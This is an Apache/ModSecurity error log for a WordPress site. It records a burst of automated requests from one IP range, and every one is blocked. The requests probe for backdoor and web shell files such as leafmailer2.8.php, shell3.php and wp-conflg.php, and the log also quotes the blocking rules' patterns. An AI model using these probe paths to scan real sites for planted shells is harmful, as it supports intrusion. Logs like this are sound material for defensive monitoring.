[Tue Nov 11 23:04:45.072878 2025] [:error] [pid 47931:tid 47944] [client 185.223.152.63:41767] [client 185.223.152.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/leafmailer2.8.php"] [unique_id "aRNQjTWP7ptQ6Y-gz680KAAAAUo"]
[Tue Nov 11 23:04:55.723549 2025] [:error] [pid 47964:tid 47991] [client 185.223.152.62:41839] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wsa.php"] [unique_id "aRNQl16CQC3ebUS5pkQbyAAAAZg"]
[Tue Nov 11 23:06:36.402905 2025] [:error] [pid 47931:tid 47936] [client 185.223.152.53:45077] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "aRNQ_DWP7ptQ6Y-gz680xQAAAUI"]
[Tue Nov 11 23:06:47.050829 2025] [:error] [pid 47964:tid 47986] [client 185.223.152.40:23413] [client 185.223.152.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-post-data.php"] [unique_id "aRNRB16CQC3ebUS5pkQcdgAAAZM"]
[Tue Nov 11 23:06:52.702477 2025] [:error] [pid 49628:tid 49631] [client 185.223.152.62:37861] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/m.php"] [unique_id "aRNRDL82AgnfnwL7V2ZRAwAAAIE"]
[Tue Nov 11 23:06:58.354437 2025] [:error] [pid 47860:tid 47894] [client 185.223.152.62:27757] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/"] [unique_id "aRNREqPe6bkmJWx80CznSQAAAEM"]
[Tue Nov 11 23:07:04.004543 2025] [:error] [pid 47964:tid 47969] [client 185.223.152.53:46687] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/wp-backing.php"] [unique_id "aRNRGF6CQC3ebUS5pkQchwAAAYI"]
[Tue Nov 11 23:07:19.661680 2025] [:error] [pid 47860:tid 47913] [client 185.223.152.63:22829] [client 185.223.152.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/class-ftp.php"] [unique_id "aRNRJ6Pe6bkmJWx80CznYQAAAFY"]
[Tue Nov 11 23:07:20.311977 2025] [:error] [pid 49628:tid 49632] [client 185.223.152.58:28219] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/about.php"] [unique_id "aRNRKL82AgnfnwL7V2ZRKQAAAII"]
[Tue Nov 11 23:07:25.980476 2025] [:error] [pid 49628:tid 49634] [client 185.223.152.52:46145] [client 185.223.152.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/call-now-button/src/about.php"] [unique_id "aRNRLb82AgnfnwL7V2ZRMQAAAIQ"]
[Tue Nov 11 23:07:31.632024 2025] [:error] [pid 49628:tid 49641] [client 185.223.152.53:57799] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wordpress-seo/admin/pages/about.php"] [unique_id "aRNRM782AgnfnwL7V2ZRPwAAAIs"]
[Tue Nov 11 23:07:37.289589 2025] [:error] [pid 47964:tid 47975] [client 185.223.152.62:25139] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-optimize/vendor/mrclay/minify/static/about.php"] [unique_id "aRNROV6CQC3ebUS5pkQcrAAAAYg"]
[Tue Nov 11 23:07:37.942427 2025] [:error] [pid 49628:tid 49650] [client 185.223.152.40:62751] [client 185.223.152.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-smushit/_src/js/common/about.php"] [unique_id "aRNROb82AgnfnwL7V2ZRTwAAAJQ"]
[Tue Nov 11 23:07:38.593705 2025] [:error] [pid 49628:tid 49636] [client 185.223.152.58:34103] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-smushit/core/modules/background/about.php"] [unique_id "aRNROr82AgnfnwL7V2ZRUgAAAIY"]
[Tue Nov 11 23:07:39.240713 2025] [:error] [pid 47860:tid 47901] [client 185.223.152.39:35595] [client 185.223.152.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/astra/about.php"] [unique_id "aRNRO6Pe6bkmJWx80CzncwAAAEo"]
[Tue Nov 11 23:08:04.897069 2025] [:error] [pid 47859:tid 47872] [client 185.223.152.52:51811] [client 185.223.152.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wpseo-import/about.php"] [unique_id "aRNRVKRzLR7egYHK_4ePZAAAAAg"]
[Tue Nov 11 23:08:15.550382 2025] [:error] [pid 47964:tid 47991] [client 185.223.152.58:33707] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Utility/about.php"] [unique_id "aRNRX16CQC3ebUS5pkQc8wAAAZg"]
[Tue Nov 11 23:08:56.209655 2025] [:error] [pid 47931:tid 47941] [client 185.223.152.52:34517] [client 185.223.152.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/components/index.php"] [unique_id "aRNRiDWP7ptQ6Y-gz681oQAAAUc"]
[Tue Nov 11 23:09:11.860397 2025] [:error] [pid 47860:tid 47894] [client 185.223.152.58:49085] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/av.php"] [unique_id "aRNRl6Pe6bkmJWx80Czn2wAAAEM"]
[Tue Nov 11 23:09:52.513935 2025] [:error] [pid 47860:tid 47904] [client 185.223.152.53:61819] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/m.php"] [unique_id "aRNRwKPe6bkmJWx80CzoHwAAAE0"]
[Tue Nov 11 23:10:28.167358 2025] [:error] [pid 47859:tid 47864] [client 185.223.152.58:33451] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/load.php"] [unique_id "aRNR5KRzLR7egYHK_4eQMgAAAAA"]
[Tue Nov 11 23:10:58.831451 2025] [:error] [pid 47964:tid 47983] [client 185.223.152.63:63557] [client 185.223.152.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/classwithtostring.php"] [unique_id "aRNSAl6CQC3ebUS5pkQd1wAAAZA"]
[Tue Nov 11 23:10:59.490298 2025] [:error] [pid 49628:tid 49651] [client 185.223.152.62:27541] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/index.php"] [unique_id "aRNSA782AgnfnwL7V2ZSqgAAAJU"]
[Tue Nov 11 23:11:45.148398 2025] [:error] [pid 49628:tid 49636] [client 185.223.152.63:55793] [client 185.223.152.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "aRNSMb82AgnfnwL7V2ZTHQAAAIY"]
[Tue Nov 11 23:11:50.801599 2025] [:error] [pid 47964:tid 47987] [client 185.223.152.62:43927] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "aRNSNl6CQC3ebUS5pkQeTwAAAZQ"]
[Tue Nov 11 23:11:51.448223 2025] [:error] [pid 47859:tid 47870] [client 185.223.152.62:55103] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/class.api.php"] [unique_id "aRNSN6RzLR7egYHK_4eQ0wAAAAY"]
[Tue Nov 11 23:12:27.127628 2025] [:error] [pid 47860:tid 47894] [client 185.223.152.63:34995] [client 185.223.152.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/files/"] [unique_id "aRNSW6Pe6bkmJWx80Czo4gAAAEM"]
[Tue Nov 11 23:12:32.774912 2025] [:error] [pid 47931:tid 47943] [client 185.223.152.39:20425] [client 185.223.152.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "aRNSYDWP7ptQ6Y-gz682wwAAAUk"]
[Tue Nov 11 23:12:33.423017 2025] [:error] [pid 47964:tid 47976] [client 185.223.152.40:60735] [client 185.223.152.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/"] [unique_id "aRNSYV6CQC3ebUS5pkQeggAAAYk"]
[Tue Nov 11 23:12:34.071948 2025] [:error] [pid 47931:tid 47936] [client 185.223.152.40:44469] [client 185.223.152.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aRNSYjWP7ptQ6Y-gz682xwAAAUI"]
[Tue Nov 11 23:12:49.734863 2025] [:error] [pid 47859:tid 47873] [client 185.223.152.39:46045] [client 185.223.152.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "aRNScaRzLR7egYHK_4eRDgAAAAk"]
[Tue Nov 11 23:13:10.387495 2025] [:error] [pid 47931:tid 47958] [client 185.223.152.53:25693] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/index.php"] [unique_id "aRNShjWP7ptQ6Y-gz6827AAAAVg"]
[Tue Nov 11 23:13:26.041199 2025] [:error] [pid 47859:tid 47877] [client 185.223.152.52:37959] [client 185.223.152.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ty.php"] [unique_id "aRNSlqRzLR7egYHK_4eROwAAAA0"]
[Tue Nov 11 23:13:26.695397 2025] [:error] [pid 49628:tid 49651] [client 185.223.152.40:55129] [client 185.223.152.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/readme.php"] [unique_id "aRNSlr82AgnfnwL7V2ZTwAAAAJU"]
[Tue Nov 11 23:14:17.357628 2025] [:error] [pid 47860:tid 47912] [client 185.223.152.62:57313] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "aRNSyaPe6bkmJWx80CzpeAAAAFU"]
[Tue Nov 11 23:14:43.028859 2025] [:error] [pid 49628:tid 49635] [client 185.223.152.53:60635] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/index.php"] [unique_id "aRNS4782AgnfnwL7V2ZUaQAAAIU"]
[Tue Nov 11 23:15:03.717694 2025] [:error] [pid 47860:tid 47901] [client 185.223.152.63:29609] [client 185.223.152.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/archives/"] [unique_id "aRNS96Pe6bkmJWx80CzprwAAAEo"]
[Tue Nov 11 23:15:19.380483 2025] [:error] [pid 47964:tid 47978] [client 185.223.152.39:53537] [client 185.223.152.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/index.php"] [unique_id "aRNTB16CQC3ebUS5pkQfUwAAAYs"]
[Tue Nov 11 23:15:20.032227 2025] [:error] [pid 47860:tid 47913] [client 185.223.152.40:35951] [client 185.223.152.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/options.php"] [unique_id "aRNTCKPe6bkmJWx80Czp0QAAAFY"]
[Tue Nov 11 23:15:20.678956 2025] [:error] [pid 47964:tid 47970] [client 185.223.152.52:26957] [client 185.223.152.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/about.php"] [unique_id "aRNTCF6CQC3ebUS5pkQfWQAAAYM"]
[Tue Nov 11 23:15:36.331361 2025] [:error] [pid 47859:tid 47878] [client 185.223.152.40:62593] [client 185.223.152.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-wolf.php"] [unique_id "aRNTGKRzLR7egYHK_4eR1wAAAA4"]
[Tue Nov 11 23:16:51.994902 2025] [:error] [pid 47964:tid 47979] [client 185.223.152.53:47971] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "aRNTY16CQC3ebUS5pkQf6AAAAYw"]
[Tue Nov 11 23:16:57.721212 2025] [:error] [pid 47964:tid 47969] [client 185.223.152.58:58509] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "aRNTaV6CQC3ebUS5pkQf6wAAAYI"]
[Tue Nov 11 23:17:28.378079 2025] [:error] [pid 47964:tid 47982] [client 185.223.152.58:40165] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/block-support.php"] [unique_id "aRNTiF6CQC3ebUS5pkQgIQAAAY8"]
[Tue Nov 11 23:17:54.034894 2025] [:error] [pid 47931:tid 47956] [client 185.223.152.63:43995] [client 185.223.152.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "aRNTojWP7ptQ6Y-gz684VQAAAVY"]
[Tue Nov 11 23:17:59.683659 2025] [:error] [pid 47931:tid 47938] [client 185.223.152.40:46263] [client 185.223.152.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/f.php"] [unique_id "aRNTpzWP7ptQ6Y-gz684YgAAAUQ"]
[Tue Nov 11 23:18:05.333942 2025] [:error] [pid 49628:tid 49644] [client 185.223.152.63:46049] [client 185.223.152.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "aRNTrb82AgnfnwL7V2ZVtgAAAI4"]
[Tue Nov 11 23:18:05.983850 2025] [:error] [pid 47860:tid 47893] [client 185.223.152.39:39279] [client 185.223.152.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aRNTraPe6bkmJWx80CzqnAAAAEI"]
[Tue Nov 11 23:18:06.637950 2025] [:error] [pid 47931:tid 47946] [client 185.223.152.62:50595] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "aRNTrjWP7ptQ6Y-gz684cQAAAUw"]
[Tue Nov 11 23:18:07.295690 2025] [:error] [pid 47860:tid 47907] [client 185.223.152.58:30509] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/shell3.php"] [unique_id "aRNTr6Pe6bkmJWx80CzqnwAAAFA"]
[Tue Nov 11 23:19:12.980426 2025] [:error] [pid 47859:tid 47870] [client 185.223.152.52:49783] [client 185.223.152.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentyfive/include.php"] [unique_id "aRNT8KRzLR7egYHK_4eS_wAAAAY"]
[Tue Nov 11 23:19:33.631996 2025] [:error] [pid 49628:tid 49654] [client 185.223.152.39:59397] [client 185.223.152.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/sunrise/index.php"] [unique_id "aRNUBb82AgnfnwL7V2ZWRAAAAJg"]
[Tue Nov 11 23:19:44.317044 2025] [:error] [pid 47931:tid 47939] [client 185.223.152.63:55087] [client 185.223.152.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-conf.php"] [unique_id "aRNUEDWP7ptQ6Y-gz685BAAAAUU"]
[Tue Nov 11 23:19:44.971840 2025] [:error] [pid 47859:tid 47876] [client 185.223.152.39:55261] [client 185.223.152.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "aRNUEKRzLR7egYHK_4eTFwAAAAw"]
